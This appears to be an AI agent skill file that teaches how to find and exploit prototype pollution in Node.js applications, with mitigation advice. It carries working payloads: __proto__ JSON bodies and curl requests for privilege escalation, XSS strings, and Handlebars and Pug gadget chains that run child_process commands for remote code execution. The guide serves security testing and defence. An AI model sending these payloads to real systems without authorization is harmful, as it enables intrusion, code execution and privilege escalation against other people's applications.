| name | nodejs-prototype-pollution-pentest |
| description | How to identify and exploit prototype pollution vulnerabilities in Node.js applications. Use this skill whenever the user mentions prototype pollution, __proto__, Object.prototype, JavaScript prototype attacks, Node.js deserialization vulnerabilities, or wants to test for prototype pollution in web applications. Also trigger when users ask about CVE-2019-11358, CVE-2018-3721, CVE-2019-10744, jQuery extend vulnerabilities, lodash prototype pollution, Handlebars/Pug template injection, or any JavaScript object manipulation attacks. |
Node.js Prototype Pollution Pentesting
A comprehensive guide for identifying and exploiting prototype pollution vulnerabilities in Node.js applications.
What is Prototype Pollution?
Prototype pollution is a JavaScript vulnerability where an attacker can modify the Object.prototype or other object prototypes, affecting all objects that inherit from them. This can lead to:
- Denial of Service (DoS) - Adding properties that break application logic
- Remote Code Execution (RCE) - Injecting code through template engines
- Privilege Escalation - Setting
admin: true on all user objects
- Cross-Site Scripting (XSS) - Polluting HTML element properties
When to Use This Skill
Use this skill when:
- Testing Node.js applications for prototype pollution
- Analyzing deserialization vulnerabilities
- Investigating jQuery, lodash, or other library vulnerabilities
- Testing template engines (Handlebars, Pug, EJS)
- Reviewing code that uses recursive merge functions
- Analyzing JSON input handling
Quick Reference: Attack Vectors
1. Direct Object.prototype Pollution
Object.prototype.isAdmin = true
Object.prototype.toString = () => { alert("polluted") }
Object.assign({}, { __proto__: { isAdmin: true } })
({}).constructor.prototype.isAdmin = true
2. Constructor Prototype Pollution
Vehicle.prototype.beep = function() { console.log("beep") }
example.constructor.prototype.greet = function() { console.log("hello") }
3. Array Index Pollution
a = []
a.constructor.prototype[1] = "yolo"
b = []
console.log(b[1])
4. HTML Element Pollution (Client-side XSS)
settings[root][innerHTML] = "<svg onload=alert(1)>"
settings[root][ownerDocument][body][innerHTML] = "<svg onload=alert(document.domain)>"
Common Vulnerable Libraries
jQuery (CVE-2019-11358)
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode)
{
"__proto__": {
"isAdmin": true,
"devMode": true
}
}
Lodash (CVE-2018-3721, CVE-2019-10744)
_.merge({}, { __proto__: { admin: true } })
_.defaults({}, { __proto__: { admin: true } })
_.assign({}, { __proto__: { admin: true } })
{
"__proto__": {
"admin": true,
"role": "administrator"
}
}
Handlebars Template Engine
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value: "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}
],
loc: { start: 0, end: 0 }
}
]
{
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync('id')"
}],
"loc": { "start": 0, "end": 0 }
}]
}
Pug Template Engine
{
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('id')"
}
}
Detection Techniques
1. Identify Vulnerable Patterns
Look for these code patterns:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key])
} else {
target[key] = source[key]
}
}
return target
}
Object.assign({}, userInput)
const data = JSON.parse(request.body)
2. Check for Prototype Access
console.log({}.__proto__)
Object.prototype.test = true
console.log({}.test)
3. Test Input Validation
{
"__proto__": { "isAdmin": true }
}
{
"constructor": { "prototype": { "isAdmin": true } }
}
{
"__proto__": { "toString": "polluted" }
}
Exploitation Workflow
Step 1: Reconnaissance
-
Identify the technology stack
- Check for Node.js, Express, Koa
- Identify JavaScript libraries (jQuery, lodash, etc.)
- Look for template engines (Handlebars, Pug, EJS)
-
Find input vectors
- JSON API endpoints
- Query parameters
- POST body data
- Cookie values
- URL parameters
Step 2: Initial Testing
curl -X POST http://target/api/endpoint \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
curl -X POST http://target/api/endpoint \
-H "Content-Type: application/json" \
-d '{"constructor":{"prototype":{"isAdmin":true}}}'
curl -X POST http://target/api/endpoint \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
Step 3: Verify Pollution
console.log({}.isAdmin)
console.log({}.toString)
Step 4: Exploit the Vulnerability
Object.prototype.isAdmin = true
Object.prototype.role = "admin"
Object.prototype.toString = () => { throw new Error("DoS") }
Object.prototype.type = "Program"
Object.prototype.body = [{
type: "MustacheStatement",
path: 0,
params: [{
type: "NumberLiteral",
value: "require('child_process').execSync('id')"
}]
}]
Automated Testing Scripts
Use the bundled scripts for automated testing:
scripts/generate-pollution-payloads.js - Generate various prototype pollution payloads
scripts/test-endpoint.js - Test endpoints for prototype pollution
scripts/check-library-versions.js - Check for vulnerable library versions
Mitigation Strategies
For Developers
-
Freeze Object.prototype
Object.freeze(Object.prototype)
-
Use Object.create(null)
const safeObject = Object.create(null)
-
Validate Input
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue
}
if (typeof source[key] === 'object') {
target[key] = safeMerge(target[key] || {}, source[key])
} else {
target[key] = source[key]
}
}
return target
}
-
Use Map instead of Object
const data = new Map()
data.set('key', 'value')
-
Update Libraries
- lodash >= 4.17.11
- jQuery >= 3.4.0
- flat >= 3.0.0
For Pentesters
-
Use detection tools
- Server-Side-Prototype-Pollution-Gadgets-Scanner (Burp Suite)
- server-side-prototype-pollution (Burp Suite)
-
Check for known CVEs
- CVE-2019-11358 (jQuery)
- CVE-2018-3721, CVE-2019-10744 (lodash)
- CVE-2019-7609 (Kibana)
-
Test edge cases
- Different encodings
- Nested objects
- Array indices
- Constructor chains
References
Next Steps
After identifying a prototype pollution vulnerability:
- Document the finding - Include proof of concept
- Assess impact - Determine what can be achieved
- Test for RCE - Try template engine exploitation
- Check for privilege escalation - Test admin flags
- Look for chainable vulnerabilities - Combine with other issues
Use the scripts in this skill package to automate testing and generate payloads for your specific target.